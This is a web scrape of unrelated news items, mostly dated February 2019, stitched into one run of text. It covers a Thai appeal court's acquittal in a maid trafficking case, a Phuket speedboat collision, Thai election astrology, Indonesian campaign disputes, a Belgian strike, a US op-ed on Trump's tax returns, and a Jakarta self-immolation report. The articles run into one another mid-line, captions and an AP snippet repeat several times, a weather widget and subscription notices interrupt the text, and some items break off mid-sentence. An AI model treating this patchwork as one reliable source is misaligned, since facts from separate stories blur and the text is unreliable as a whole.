Wednesday 13 February 2019, 09:20AM

Monta Yokrattanakan, better known as Ying Kai, arrives at the Criminal Court in Bangkok on Tuesday to hear the Appeal Courts acquittal ruling. Photo: Bangkok Post

The ruling was read out at the Criminal Court in Bangkok on Tuesday (Feb 12).

The Appeal Court overturned the Criminal Courts judgement of Oct 19, 2017 and sentencing of the 62-year-old woman to three years in jail for human trafficking because she had seized the ID card of the maid, Kanchana Ponglarpsoonthorn, and had not paid her a salary from June 2006 to October 2010.

The Criminal Court had also ordered her to pay B590,007 in compensation to the young woman.

However, the Appeal Court found that Monta had provided accommodation for Ms Kanchana, then a girl, in a condominium in Prachaniwet area of Bangkok, and had her share chores with two other maids, catering only to Monta and her child.

The Appeal Court found that Ms Kanchanas workload was not heavy and Monta had on occasions given her B1,000 and also B2,000 for a trip home, and transferred B5,000 to her account.

She had also taken Ms Kanchana on vacation in other provinces and let her go out shopping. That showed that Ms Kanchana had freedom of movement and had not been detained, the Appeal Court said.

Although Monta had failed to send Ms Kanchana to nursing school and to pay her a salary as promised, and had kept Ms Kanchanas ID card, she had not coerced her into working.

Ms Kanchana herself had told the court that although Monta had been hot-tempered she had never coerced her to work. Therefore, there was no case to support the charge of human trafficking, the Appeal Court ruled.

After hearing the ruling, Monta cried for joy and prostrated herself.

She is also being held on a charge of lese majeste. She was returned to the Bangkok Womens Prison.

Read original story here.Speedboat captain to be suspended, boat de-registered after oil tanker slam

PHUKET: The captain of the tour speedboat that slammed into an oil tanker off Phukets east coast while returning from Phi Phi Island on Saturday (Feb 9) faces a criminal charge of recklessness causing injury  and will have his boat operators licence suspended and the speedboat itself temporarily de-registered.

tourismtransportmarineSafetyaccidentspolice

By Waranya Prompinpiras

Wednesday 13 February 2019, 06:08PM

The serious moves to enforce marine safety regulations follows the twin-engine tour speedboat Sainam slamming into a small oil tanker off Koh Rang, off Phukets east coast, on Saturday. Photo: Eakkapop Thongtub

The serious moves to enforce marine safety regulations follows the twin-engine tour speedboat Sainam slamming into a small oil tanker off Koh Rang, off Phukets east coast, on Saturday. Photo: Eakkapop Thongtub

The serious moves to enforce marine safety regulations follows the twin-engine tour speedboat Sainam slamming into a small oil tanker off Koh Rang, off Phukets east coast, on Saturday. photo: Eakkapop Thongtub

The serious moves to enforce marine safety regulations follows the twin-engine tour speedboat Sainam slamming into a small oil tanker off Koh Rang, off Phukets east coast, on Saturday.

Eleven Chinese tourists on board were brought ashore and given first aid, before being taken to Mission Hospital and Thalang Hospital.

Among the tourists were children aged 6, 13, 14 and 16, as well as one pregnant woman. (See story here.)

Phuket City Police Chief Col Sompong Thiparpakul confirmed to The Phuket News today that nine of the tourist have already flown home to China. The remaining two have also already been discharged from hospital care and are to fly home today (Feb 13).

The speedboat captain, who Col Sompong identified as 21-year-old Apichart Rakkarndee, remains in hospital care with a broken right leg.

Col Sompong explained that Apichart in his initial statement to police said that the collision occurred due to mechanical failure with the engines, which would affect how the speedboat was steered.

We have not yet questioned him more throroughly as to how the accident happened. We are waiting for him to recover a little more first, Col Sompong said.

However, he did say that he could not control the boat, that it was an accident, he added.

The investigating officers from Phuket City Police have charged Mr Apichart with recklessness causing injury to others, but Mr Apichart has denied the charge against him, Col Sompong confirmed.

Regardless, Phuket Marine Office Acting Chief Wiwat Chitchertwong today confirmed that his office has already deemed Apicharts actions as careless.

Our officers have completed their inspection of the speedboat Sainam and have found that the speedboat captain, Mr Apichart, was reckless in his behavior.

Therefore, after Mr Apichats health has improved, we will suspend his boat operators license. We have yet to decide how long the suspension will be, but the maximum is two years, Mr Wiwat said.

The boat Sainam itself has also been temporarily de-registered, making it illegal to use until his office restores its status, Mr Wiwat noted.Phuket snake-catchers get busy

PHUKET: Rescue workers at the Phuket Ruamjai Foundation are urging people to beware snakes on the move after four snakes were caught at residents houses last weekend, with three snakes caught on the one day.

animalsSafety

By Waranya Prompinpiras

Wednesday 13 February 2019, 10:49AM

Phuket Ruamjai rescue workers are urging people to beware snakes making their way into peoples homes. Photos: Suparuk Maekprasat

Ruamjai foundation worker Suparuk Maekprasat explained to The Phuket News that the snake-catching blitz began on Saturday (Feb 9), when he was called to a house in Soi Palai at about 8pm.

The snake was about one meter long. It had slithered past in front of the television where the grandmother was sitting and watching, Mr Suparuk said.

The daughter in the house moved her grandmother to safety quickly and called the police. The police then called us.

"It took about half an hour to catch the snake after it gone into hiding behind the refrigerator, he added.

Then on Sunday (Feb 10) Mr Suparak was called to catch three more snakes.

At about 11am, he was called to a house in Baan Nabon, where he caught a rat snake (Ngoo Thang Maphrao) almost one meter long.

It entered the house and tried to hide in a room. This one took 20 minutes to catch," Mr Suparak said.

An hour later Mr Suparuk was called to Soi Klumyang off Chao Fa West Rd in Chalong, to catch a cobra about two meters long that was trying to slither its way into a house.

By 6pm Sunday evening Mr Suparak was called to another house, this one in Soi Sai Nam Yen, also off Chao Fa West Rd, opposite the entrance to Wat Chalong, where a two-metre-long python had devoured a chicken.

The snake was hiding a drain behind the house hoping for some peace and quiet while digesting its meal.

By the time Mr Suparak arrived, the snake still did not want to be disturbed.

It still took about one hour to catch this one, Mr Suparak said.

"We took the snake back to our foundations headquarters (on Soi Ta-iad), where after about half an hour it spat out what was left of chicken, he said.

We are called to catch a lot of snakes, Mr Suparak explained.

We wait until we have caught 10 to 20 of them before we release them back into the wild, he added.

The snakes are always released far from peoples homes, he added. (See story here.)

The Phuket Rumajai Kupai Foundations chief, Sayan Thammaphan, has urged anyone with a snake in or near their house or business to not approach the snake, but instead call him to have foundation staff come and safely remove the intruder.

Anyone who wants my help call just call me at 081-3670537, Mr Sayan said.

The Phuket Ruamjai Rescue Foundation is based on Soi Ta-iad in Chalong, and mainly operates in the Chalong area. Tel: 098-7045345Home >Police Enforcement > Seizure/Confiscation > States Consider Cracking Down On Car SeizuresThis subscription will allow curernt subscribers of The News Guard to access all of our online Subscriber-Only content, including the E Editions area.

NOTE: To claim your access to the site, you will need to enter the Last Name and First Name that is tied to your subscription in this format: SMITH, JOHN

If you need help with exactly how your specific name needs be entered, please call us at 1-541-994-2178 or email admin@countrymedia.net.Yes, Democrats want to start a new investigation into already-under-investigation Trump-Russia allegations. And yes, they want to investigate Trump associates like Michael Cohen, Roger Stone and others. But by far the biggest thing Democrats want, now that they have the majority in the House, is to get their hands on the presidents tax returns.

House Democrats want to use a 1924 law that allows any one of three entities  the House Ways and Means Committee, the Senate Finance Committee or the Joint Committee on Taxation  to demand that the Treasury Department turn over the returns of any individual. The law has almost never been used. For the first 50 years of its existence, no one tried to get a presidents returns  although the law played a role in the fight over Richard Nixons finances  and in the years since Gerald Ford took office, presidents have voluntarily made their returns public. Until Donald Trump.

So now, Democrats propose that the entity they fully control  the Ways and Means Committee  force Treasury, parent agency of the Internal Revenue Service, to turn over the presidents returns. What do they hope to find? What is remarkable is that even the most aggressive Democrats dont seem to have a clear idea what they will find in the returns. Theyre just sure there must be something bad in there.

The former prosecutor Andrew McCarthy has written of Trump-Russia special counsel Robert Mueller that Mueller does not have a crime he is investigating. He is investigating in hopes of finding a crime. That is what Democrats are planning with the presidents tax returns.

President Trumps refusal to release his tax returns makes it clear he has something to hide, said Democratic Sen. Tammy Baldwin, who is a sponsor of the Presidential Tax Transparency Act, which would require presidents and presidential candidates to release their returns.

Of course, Democrats do have some broad ideas about what might be in the returns.

We want to see if the president of the United States has a conflict of interest that he brought with him or that he created since he got here, Rep. Bill Pascrell, a member of Ways and Means, said recently. The only way to do that is to get his tax returns.

Others think  no surprise  that theres a Russia connection. Rep. Jackie Speier, a member of the Intelligence Committee, said it is important for the American people to know to what extent Russia was engaged with then-entrepreneur Donald Trump.  Was there money laundering going on?  Thats why having his tax returns becomes so important.

Other Democrats want the tax returns to see if Trump might have violated the emoluments clause of the Constitution. Still others want to see if Trump got a special break in the tax cut law he signed.

Democratic Rep. Maxine Waters, chair of the Financial Services Committee, was the most blunt. Were gonna get your tax returns, Waters said recently, addressing Trump. Were gonna find out where your money has come from, the way that you have cheated the IRS.

The tax returns  many House Democrats believe  will be a Rosetta Stone to Trump corruption.

Theres no doubt the law gives Ways and Means Chairman Rep. Richard Neal the power to demand the returns. That doesnt mean Neal would get them right away; the Trump administration would surely raise legal objections that could tie the issue up in court. Perhaps for that reason, Neal has been a voice of caution in the push to see the returns.

There are others, too. Democratic Rep. Ron Kind, also a Ways and Means member, recently remarked that Mueller and his prosecutors have surely seen the returns, and therefore it would be best for the House to proceed carefully. But that is precisely what worries some Democrats. What if Mueller investigates and does not accuse Trump of any wrongdoing based on the tax returns?

Just in case, Democrats propose to perform an MRI on Trumps finances, based in large part on the tax returns.

Our priority is to make sure the president of the United States is working in the national interest, that he is not motivated by some pecuniary interest or fear of compromise or actual compromise, Intelligence Committee Chairman Rep. Adam Schiff said recently. What were interested in is: Does the president have business dealings with Russia such that it compromises the United States?

For the Democrats to start the MRI, the first step has to be securing the presidents returns.

Trump broke a 40-year tradition by not releasing his tax returns during the campaign or since. Now, there are bills in both the House and Senate that would require presidents, and party nominees for the presidency, to release their returns. But theyre not law yet, and might never be.

Whatever happens, there will likely be serious consequences if the Ways and Means Committee chooses to force the release of the presidents returns. For one, it will set a precedent for the House majority, in this case the Democrats, to go after the tax returns of individuals. It is not hard to imagine that coming around to bite Democrats in the future.

Nevertheless, that is what Democrats appear to want. At a recent Ways and Means hearing into the issue of acquiring individual returns, Rep. John Lewis summed up the situation, and in the process said perhaps more than he intended: This is not the end, Lewis said. This is just the beginning.

Byron York is chief political correspondent for The Washington Examiner.30 minutes ago

| June 24th | 2021 1:38 PM

US economy grows 6.4% in Q1, and it's likely just the start

WASHINGTON (AP)  The U.S. economy grew at a solid 6.4% rate in the first three months of the year, setting the stage for what economists believe may be the strongest year for the economy in about seven decades. Growth in the gross domestic product, the country's total output of goods and services, was unchanged from two previous estimates,9 minutes ago

| June 24th | 2021 1:38 PM

US economy grows 6.4% in Q1, and it's likely just the start

WASHINGTON (AP)  The U.S. economy grew at a solid 6.4% rate in the first three months of the year, setting the stage for what economists believe may be the strongest year for the economy in about seven decades. Growth in the gross domestic product, the country's total output of goods and services, was unchanged from two previous estimates,Lincoln, NE (68508)

Today

Variable clouds with thunderstorms - possibly severe this afternoon. Damaging winds and large hail with some storms. High 88F. Winds SSE at 10 to 20 mph. Chance of rain 90%..

Tonight

Scattered thunderstorms, some strong during the evening, will give way to cloudy skies after midnight. Damaging winds and large hail with some storms. Low 68F. Winds NNE at 10 to 15 mph. Chance of rain 40%.10 minutes ago

| June 24th | 2021 1:38 PM

US economy grows 6.4% in Q1, and it's likely just the start

WASHINGTON (AP)  The U.S. economy grew at a solid 6.4% rate in the first three months of the year, setting the stage for what economists believe may be the strongest year for the economy in about seven decades. Growth in the gross domestic product, the country's total output of goods and services, was unchanged from two previous estimates,Belgian airspace was to be closed to all flights below 8,000 meters on Wednesday as a national strike threatened to bring the European country to a standstill.

With "no certainty" on how many controllers would be following the strike movement, Belgium's Skeyes air traffic control agency said it was "forced to prohibit" national air traffic between Tuesday, February 12 at 22:00 (2100 GMT) until the same time the following day, a statement said on Tuesday.

No aircraft flying below 8,000 metres altitude -- the area controlled by Skeyes -- will be allowed to fly over the country, Dominique Dehaene, the company's spokesman, told AFP.

Government, military and emergency flights will be allowed, he added.

Above 8,000 meters, a control center in the Dutch city of Maastricht controls aircraft flying over Belgian territory.

Skeyes was not able to say how many flights or how many passengers would be affected.

Read also: First exhibition for Indonesian comics history held in Brussels

A general strike called by three unions, which are calling for higher wages, is expected to paralyze Belgium on Wednesday.

Brussels, home to NATO, will be hosting a meeting of defense ministers that day, with officials from throughout the transatlantic military alliance converging on the city.

"We have no indication of any impact of the strike on the meeting," a NATO official told AFP.

Charleroi airport, the second largest in Belgium and a local hub for low-cost giant Ryanair, had already announced its closure.

Belgium's Brussels Airlines has cancelled all its 222 flights.

The German carrier TUI fly will operate its scheduled Belgian flights from the nearest French and Dutch airports.While sun-soaked bikini-friendly destinations in the US remain the most popular travel destinations for young spring breakers, England, France and Ireland are also proving to be popular this year.

Not surprisingly, the Sunshine State of Florida dominates CheapOair's list of most popular spring break destinations for revelers ages 18-25 this year, taking half of the top 10 domestic travel destinations, with Orlando leading the charts.

But analysts also found that young globetrotters are increasingly using their spring break to take longer international trips to destinations like London, Paris and Dublin.

"For spring break, travelers are still spending an average of 5-6 days in popular destinations such as Florida and Mexico," said Tom Spagnola, Senior Vice President of Supplier Relations at CheapOair in a press release.

"An overall trend we're seeing with this age group is that they're taking longer international trips of 10-12 days in destinations such as Spain and Netherlands, and up to 22 days in destinations such as Thailand."

Expect beaches and airports to be busiest in early March, as 70 percent of revelers 18-25 will be traveling before March 15, says CheapOair.

Read also: Indonesia wins Reisgraag Award for best tourism destination

Here are the most popular spring break destinations for 2019:

Domestic

Orlando, FL Fort Lauderdale, FL Los Angeles, CA Miami, FL Las Vegas, NV Denver, CO Tampa, FL San Juan, Puerto Rico Fort Myers, FL Phoenix, AZ

InternationalShare this article Whatsapp

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Linkedin Dene-Hern Chen and Thanaporn Promyamyai (Agence France-Presse) Bangkok, Thailand  Wed, February 13, 2019 11:17 862 ab327006fac3d4a4e8af45a51b2aebbd 2 SE Asia #Thailand,#culture,politicians,Thai,fortune-teller,politics,election Free

A hand-drawn map of constellations and planetary orbits shows Thailand in the throes of a "gateway" year of change, says astrologer Pinyo Pongcharoen -- one of a legion of fortune tellers sought out by politicians in chaotic and unpredictable times.

"The stars are all in place," the president of Thailand's International Astrological Association told AFP.

"There will be a big change, a big confrontation, a big negotiation."

His forecast might lack precision but it carries weight for Thais, who have long turned to fortune tellers for a hint of what lies in store at school, in business, love and politics.

And politics is currently dominating conversations, following a series of dramatic events which have lit up the political landscape ahead of elections set for March 24.

Thailand's King Maha Vajiralongkorn on Friday slapped down the unprecedented prime ministerial candidacy of his sister Princess Ubolratana, which brought the revered monarchy into frontline politics, as a "highly inappropriate" move.

She was proposed for premier by the Thai Raksa Chart party, which is aligned with the powerful Shinawatra clan and is now waiting to see if it will be censured for the bold, perhaps foolish, move.

The upheaval triggered rumours of a possible counter-coup to oust junta leader Prayut Chan-O-Cha, speculation he denies.

Pinyo -- who has read the fortune of a former prime minister, though he declined to say who -- refused to be drawn into unpicking what it all means, saying only that there will be a showdown between "liberal and conservative" forces.

"It's a fight between the people who have a new thinking and the people who keep the old way of thinking," he said cryptically.

Aligning with the cosmos

Thailand's history is steeped in astrology, with every twist in the country's volatile history of coups, protests and short-lived civilian governments informed by the stars, said Edoardo Siani, a cultural anthropologist of Thailand at Kyoto University.

It is common for Thais to discern meaning in everyday symbolism and they are conscious of auspicious dates, places and colours.

Politicians capitalise on this fluency, he added.

Thai Raksa Chart, the party which proposed the princess' ill-fated bid for prime minister, announced her candidacy at 9:10 am last Friday  with the timing rumoured to symbolise her connection with her father, the late King Rama IX, and her brother, current King Rama X.

"It is about aligning the individual with the greater cosmos," said Siani.

Uncertainty in politics feeds the fortune-telling industry as people are unable to discuss rival sides openly because of legal controls and the country's sharp divisions.

"You don't know what's going to happen, so you become interested in prophecies and it gives you answers that you can't even ask about," Siani said.

- 'Their time is up' -

While astrology is often favoured by the elite, tarot cards have gained popularity among ordinary people.

They provide more definitive answers than complex astrological maps.

Dao Dao, a fortune teller in a central Bangkok district, flips over a tarot card featuring "The Wheel of Fortune".

"Yes, (junta leader Prayut) will come back as prime minister," she said.

Her premonition of Prayut's evolution from junta chief to civilian leader matches the prediction of Warin Buaviratlerd, a renowned army astrologer who has known the gruff former general for 20 years.

"The group of people who are serving the country now will come back and serve again," Warin told AFP, adding that he believes the Shinawatra clan is done.

Thai politics has revolved around billionaire ex-premier Thaksin Shinawatra for almost two decades, and his party and its proxies have won every election since 2001.

But analysts say the recent upheaval linked to Ubolratana's fleeting tilt for office has seriously undercut Thaksin's position and if Thai Raksa Chart is dissolved, it would deal a serious blow to his affiliated parties' electoral chances.

"Their time is up," said the astrologer.

'Results will stun us'

Fongsanan Chamornchan, a former journalist who switched to fortune-telling a year ago, is less certain about Thailand's political fate.

"Many" politicians have sought her out because of her previous job, she said, and the number one question asked is whether elections will be held this year.

Despite recent rumours of an impending coup -- Thai generals have a penchant for coups and have grabbed power 12 times since the end of absolute monarchy in 1932 -- Fongsanan remained steadfast.

"No coup," she told AFP. "We are headed to an election and coronation."

But the presence of "Uranus in Aries" means the details of who will come out on top remain in flux.

"I can't dare to predict who will be prime minister.... All I know is that the results of the election will stun us."Share this article Whatsapp

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Linkedin Sanjeev Miglani and Drazen Jorgic (Reuters) Islamabad, Pakistan  Wed, February 13, 2019 09:39 862 ab327006fac3d4a4e8af45a51b2a820a 2 World #SaudiArabia,#MBS,Mohammed-Bin-Salman,visit,Indonesia,killing,journalist Free

Saudi Arabias Crown Prince Mohammed bin Salman (MBS) is expected to announce investments in energy and infrastructure during a visit to India and Pakistan in coming days as part of his efforts to wean the Saudi economy off oil exports.

He is also expected to visit China, Malaysia and Indonesia during a tour that will be his first through the region since the storm over the murder of Jamal Khashoggi, a Washington Post columnist, at the Saudi consulate in Istanbul in October.

Prince Mohammed is expected to sign agreements, mostly linked to a refinery and the power sector, during the trip to Pakistan this weekend, Pakistani officials said.

The memorandums of understanding will include renewable energy projects and investments in petrochemicals and mineral resources, Saudi state news agency SPA said.

The prince is expected in New Delhi next week, along with leading Saudi businessmen, at the invitation of Prime Minister Narendra Modi, Indias foreign ministry said on Tuesday.

Pakistani Prime Minister Imran Khan was among a handful of leaders who attended an investment conference in Saudi Arabia in October, an event boycotted by many companies and world leaders in protest over Khashoggis killing.

Indias Modi met the prince in November, when they were both in Argentina for a Group of 20 summit. Saudi Arabia is Indias top supplier of crude oil but the two countries have expanded ties beyond energy, and their governments have agreed to build a strategic partnership, the foreign ministry said.

In a statement, it cited cooperation in areas including energy security, trade and investment, infrastructure, defense and security.

India is expecting Prince Mohammed to announce an initial investment in its National Investment and Infrastructure Fund (NIIF), a quasi-sovereign wealth fund, to help accelerate the building of ports and highways, an Indian official said.

Saudi state media said Saudi officials will discuss an investment in NIIF.

Saudi Arabia has also flagged a desire to invest in Indias farm sector, with products to be exported to Saudi, another official at the trade ministry said.

REFINERY HITCH

However, progress on a $44 billion refinery that Indian state-run oil companies agreed to build with Saudi Aramco on Indias west coast has been held up by strong opposition from mango farmers who will lose their land.

Since taking office in 2014, Modi has sought to use Indias fast-growing economy to attract more investment from Saudi Arabia and other Islamic nations.

As a fellow Muslim country, Pakistan has long maintained strong ties with Saudi Arabia. In late October, Riyadh offered Pakistan a $6 billion loan to help keep its ailing economy afloat.

Saudi Arabia has also announced plans for a $10 billion refinery and petrochemical complex at the coastal city of Gwadar, where China is building a port as part of its vast Belt and Road initiative.

Theyre looking at the energy sector, at some of our privatization plans that they might bid for through our privatization process, Pakistani investment minister Haroon Sharif told Reuters.

Sharif, who chairs Pakistans Board of Investment, said there was also Saudi interest in Pakistans mining sector.

Saudi Arabia has huge resources. Their investment fund is over $1 trillion, so we want just a fraction of that, said a second Pakistani minister, who did not wish to be named.

Saudi state news said Saudi officials will discuss investments with China, South Korea and Indonesia, in sectors including healthcare and telecommunications, without giving further details.Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 14:45 862 ab327006fac3d4a4e8af45a51b2ba928 1 Politics ridwan-kamil,West-Java,2019-elections,2019-presidential-election,#2019GeneralElections,#2019PresidentialElection Free

West Java Governor Ridwan Kamil has been reported to the Elections Supervisory Agency (Bawaslu) for allegedly campaigning for incumbent presidential candidate Joko Jokowi Widodo outside the schedule set by the elections committee.

Ridwan was reported by people claiming to be part of a group called Indonesia on the Move Advocacy Team (TAIB), who accused the governor of campaigning for Jokowi during an event celebrating Indonesias largest Muslim organization Nahdlatul Ulamas anniversary in Garut, West Java, on Saturday. The anniversary event was held concurrently with a declaration of support for the incumbent by a group of volunteers.

According to TAIB, Ridwan was seen in a video chanting, When I say Garut, you say juara [champion]! I say West Java, you say juara! I say 01, you say juara!.

The accusers argued that by Ridwan saying 01  a reference to Jokowi and running mate Maruf Amins ballot number  during NUs anniversary celebration, the governor was campaigning for the incumbent prior to the schedule set by the General Elections Commission (KPU).

The schedule permits presidential and legislative candidates to hold mass gatherings from March 24 to April 13.

According to the regulation, what Ridwan Kamil did could not be justified and could be seen as a violation of the campaign regulation, TAIB member Muhajir said on Tuesday, as quoted by kompas.com.

Ridwan dismissed the allegation, saying he led the chant during a support declaration event and not during the NU anniversary gathering.

The hosts at the [declaration] event introduced me as a notable West Java figure and didnt mention my position as governor. It didnt violate the rules, the governor said on Tuesday.

He added that the regulation allowed state officials to be involved in campaigning events during weekends, which he had obeyed.

Muhajir added that Bawaslu could follow up their report because the case was similar to the one implicating Slamet Maarif, a member of Jokowis rival Prabowo Subiantos campaign team.

The police named Slamet  also the chairman of the 212 Alumni Brotherhood (PA212)  a suspect for allegedly campaigning during a mass gathering held by PA212 supporters in Gladak, Surakarta, Central Java, on Jan. 13.

During a speech at the gathering, Slamet mentioned the #2019GantiPresiden (2019ChangePresident) movement, which prompted a Jokowi-Maruf campaign team member to report Slamet to Bawaslu, which later handed the case to the police. (kuk)Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 17:32 862 ab327006fac3d4a4e8af45a51b2c3f83 1 City vehicle,electric-bicycle,migo,ban,police,Jakarta-police Free

Jakarta Police are cracking down on electric bike-sharing app Migo, with a ban on the distinctive yellow electric bikes that have begun to gain popularity on the capitals streets.

Jakarta Traffic Police law enforcement unit head Comr. Herman Ruswandi said the ban was necessary because the e-bikes had yet to undergo tests to allow them to be used in the city.

We are still discussing this with the [Jakarta] Transportation Agency to figure out whether these electric bikes have passed the tests [to operate on the streets], Herman said on Wednesday, kompas.com reported.

According to Article 49 of Law No. 22/2009 on traffic and transportation, every motorized vehicle operating on the streets must pass vehicle-type tests and further periodic tests.

Read also: Govt upbeat over electric vehicle, but charging stations still rare to find

Herman added that the electric bikes did not have license plates.

Separately, Migo Jakarta operational manager Sukamdani said the company was following up the Jakarta Polices plan to ticket Migo users.

Migo is currently applying for our vehicle-type tests with the Transportation Ministry, Sukamdani said on Tuesday, kontan.co.id reported.

He said he had also coordinated with the Jakarta Transportation Agency in reprimanding Migo users who used arterial roads that could disrupt traffic.

As long as the rules allow bikes on a street, we allow users to do so. Where there are rules against doing so, we have told our users in our terms of service in the app that users must follow the rules, he said.

Previously, Migo users were spotted in crowded areas such as the Car Free Day event on Jl. Sudirman and Jl. MH Thamrin in Central Jakarta, as well as residential areas in Kalibata and Pancoran, South Jakarta and Pinang Ranti and Makasar, East Jakarta.

The service stipulates that the electric bikes can only be rented and ridden by users over 17 years old and in possession of a driving license, but children have still been spotted using the bike-sharing app. (ami)Share this article Whatsapp

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Linkedin Marguerite Afra Sapiie (The Jakarta Post) Jakarta  Wed, February 13, 2019 12:57 862 ab327006fac3d4a4e8af45a51b2b6347 1 Politics Muhammadiyah,2019-presidential-election,2019-legislative-election,#2019GeneralElections,#2019PresidentialElection,religion,politics,PAN Free

In the lead up to the legislative and presidential elections in April, the countrys second-largest Islamic organization, Muhammadiyah, is set to hold a leadership meeting that will include addressing the politicization of religion in electoral contests.

Slated to take place in Bengkulu from Feb. 15 to 17, the meeting is expected to gather hundreds of Muhammadiyah executives and high-profile guests, including President Joko Jokowi Widodo and his rival in the presidential election, Prabowo Subianto.

The meeting will carry the theme Enlightening Way in Religious Life, as concerns have grown in the organization that religious practice in the country has been unconstructive, Muhammadiyah secretary-general Abdul Muti said.

Among issues in the spotlight is the politicization of religion, which has brought about polarization in the 2019 presidential election, creating the idea that one candidate pair represented Muslim society better than the other, Muti said.

We feel strong polarization in 2019, Muti said during a recent visit to The Jakarta Post, With the use of religious symbols and forums for political interests, such religious polarization is very apparent.

The divisiveness, he said, had created the assumption that the incumbents camp represented Nahdlatul Ulama (NU), the nations largest Islamic organization, of which Jokowis running mate, Maruf Amin, was a senior member, while Muhammadiyah was associated with Prabowo.

A number of Muhammadiyah figures, including former leader and National Mandate Party (PAN) patron Amien Rais and Muhammadiyah treasurer Suyatno, were on Prabowo-Sandiaga Unos campaign team.

The function of religion is to bring peace, but instead what has happened is that religion has become a source of disunity, Muti said, Religion is not supposed to be a subordinate of politics.

Muhammadiyah also aims to address other issues, such as religious commodification in which religion was exploited for profit, and symptoms of spiritualization, where people practiced religion only to receive divine rewards.

The true value of religion, which served as guidance for the faithful, has yet to be institutionalized in social and political practices, Muti said, and Muhammadiyah aimed to show Muslims how enlightening religious teachings were through the meeting.

We want to assert that a religious person should be an individual who can contribute positively to society, a person who is able to hearten others with his or her presence instead of raising fears, Muti said.

About 500 participants are set to attend the three-day meeting, including executives of Muhammadiyahs central board and leaders of the organization's regional boards.

In the meeting, Muhammadiyah is also set to address internal matters, including preparations for the 2020 national congress, which is held every five years to elect new leadership.

Vice President Jusuf Kalla is set to open the meeting on Friday and Muhammadiyah chairman Haedar Nasir will provide the keynote speech.

Unlike the previous leadership meeting, however, the upcoming meeting will not see the attendance of former Muhammadiyah leaders, including Amien Rais, Mu'ti said, because the events schedule was packed.

Amien, a supporter of Prabowo in the 2019 election, has been an vocal critic of Jokowi, and has been seen as a controversial figure in Indonesias political scene, although he is known as an icon behind 1998 reform, marking the downfall of Soeharto.

Jokowi and Prabowo, who were invited by Muhammadiyah in their capacity as national figures, are scheduled to address participants on separate occasions during the event, Muti said.

The two are expected to speak about, among other things, mainstreaming moderate Islam, and how Indonesia must be more courageous in displaying itself as a political power in the Islamic world, he said.

Indonesia, as the worlds biggest Muslim-majority country, has a quite powerful modality, Muti said, We are also accepted by most Muslim countries [] so it should be a political modality for Indonesia, too.

The leadership meeting is also set to produce a set of recommendations as Muhammadiyahs input for the future of the nation.Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 16:12 862 ab327006fac3d4a4e8af45a51b2c13c3 1 National Volcano,Mount-Karangetang,North-Sulawesi,eruption,lava Free

Lava flow from Mount Karangetang on Siau Island, North Sulawesi, has blocked connecting roads between two villages in the area.

As a result,12 junior high school students had to take shelter at a nearby school on account of the blocked road between the villages of Kiawang and Batubulan.

These students would walk to their school in Kiawang but they now have to take the sea route [to go to school]. But water transportation is dangerous, Bob Wuaten, Siau Tagulandang Biaro Islands Disaster Mitigation Agency (BPBD Siau Tagulandang Biaro) head, told kompas.com, adding that his team was coordinating with the education agency to resolve the matter.

The volcano is located on the small island on the north eastern part of Sulawesi and a part of Siau Tagulandang Biaro Islands regency.

Aditya Gurasali, a monitoring official at the mountain, said the volcano had been given the siaga (alert) status, the second-highest level on the four-tiered volcano alert system.

He suggested that nearby residents and visitors avoid activities within a 2.5 to 4 kilometer radius of the crater.

Aditya also recommended the usage of masks to anticipate respiratory problems owing to possible ash rain.

BPBD Siau Tagulandang Biaro officials are moving people living in Niambangeng, Beba and Batubulan to outside the danger zone.

For people living near the river banks, the agency urges them to be on alert for lava-induced rain and flash floods. (mai)Share this article Whatsapp

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Linkedin (The Jakarta Post) Jakarta  Wed, February 13 2019

Russia is famous for its vodka and many other local varieties of alcohol, with its people regarded as among the highest consumers of alcohol in the world. When it comes to coffee, however, many Russians enjoy an Indonesian product  Torabika Cappuccino.

Following its success with the instant coffee product in Russia, publicly listed food company PT Mayora Indah is expanding into other Eastern European countries.

Mayoras international group country head Hartono Gunawan said he was optimistic the product would be just as well received in the rest of Eastern Europe.

The company exported 1,000 containers of Torabika Cappuccino to Russia last year, a 30 percent sales growth from 2017. Russia has the ninth biggest population and was ranked 11th for GDP [in 2017] in the world. We see Russia as a very important mixed-coffe...The World Bank Vice President for the South Asia Region, Hartwig Schafer, arrived today on his first visit to Sri Lanka to gain a better understanding of the countrys development priorities and how the Bank can continue to support its critical reform agenda.

Sri Lanka has made good progress in reducing poverty and ranks the highest in South Asia in terms of human capital development said Schafer. To continue its journey towards a high middle-income country and create more quality jobs for its people, Sri Lanka needs to continue focusing on better fiscal health, boosting its competitiveness as a tourism, logistics and IT hub and managing climate change risks. The World Bank will continue to provide its best expertise to support Sri Lankas future growth.

During his three-day visit, Schafer will meet HE President Maithripala Sirisena, Hon. Prime Minister, Ranil Wickremasinghe and senior government officials including the Minister of Finance, Hon.Mangala Samaraweera, State Minister of Finance, Hon. Eran Wickremaratne the Mayor of Colombo, HW. Rosy Senanayake and the Governor of the Central Bank of Sri Lanka, Dr. Indrajith Coomaraswamy.

Schafer will hold discussions on Sri Lankas low female labour force participation, visit project sites to meet communities engaged in development work and launch the World Banks new Sri Lanka Development Update. He will also meet with leading representatives of the private sector and the civil society.

Before joining the South Asia Region, Schafer served as the Vice President for Global Themes and as Vice President for Operations Policy and Country Services. He led several key reforms, including the roll-out of the World Banks new policies on procurement, environmental and social safeguards, and innovation of the Banks lending and knowledge instruments. Previously, Schafer served as the World Banks Country Director for Djibouti, Egypt, and Yemen.Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 12:42 862 ab327006fac3d4a4e8af45a51b2b53e4 1 City North-Jakarta,self-immolation,depression Free

A man, identified as MH, 37, reportedly committed suicide by setting himself on fire, leading to a fire in Koja, North Jakarta, on Tuesday night.

Koja Police criminal unit head, Adj. Comr. Andry Suharto, said that MH committed the tragic act in the bathroom of the house he was living in, which was previously used as a petrol kiosk.

The victim set himself on fire inside the bathroom. The smell of gasoline filled the bathroom, Andry said as quoted by kompas.com.

MH, who worked as an app-based ojek (motorcycle taxi) driver, is believed to have suffered from depression. According to witnesses testimony, MH had been acting unusually since Monday.

Since yesterday [Monday], the victim appeared unusual, like he had a problem but was unwilling to tell anyone, Andry said.

The fire that began in the bathroom alarmed surrounding residents, who tried to put out the fire and called the fire authorities.

MHs body was found inside the bathroom.

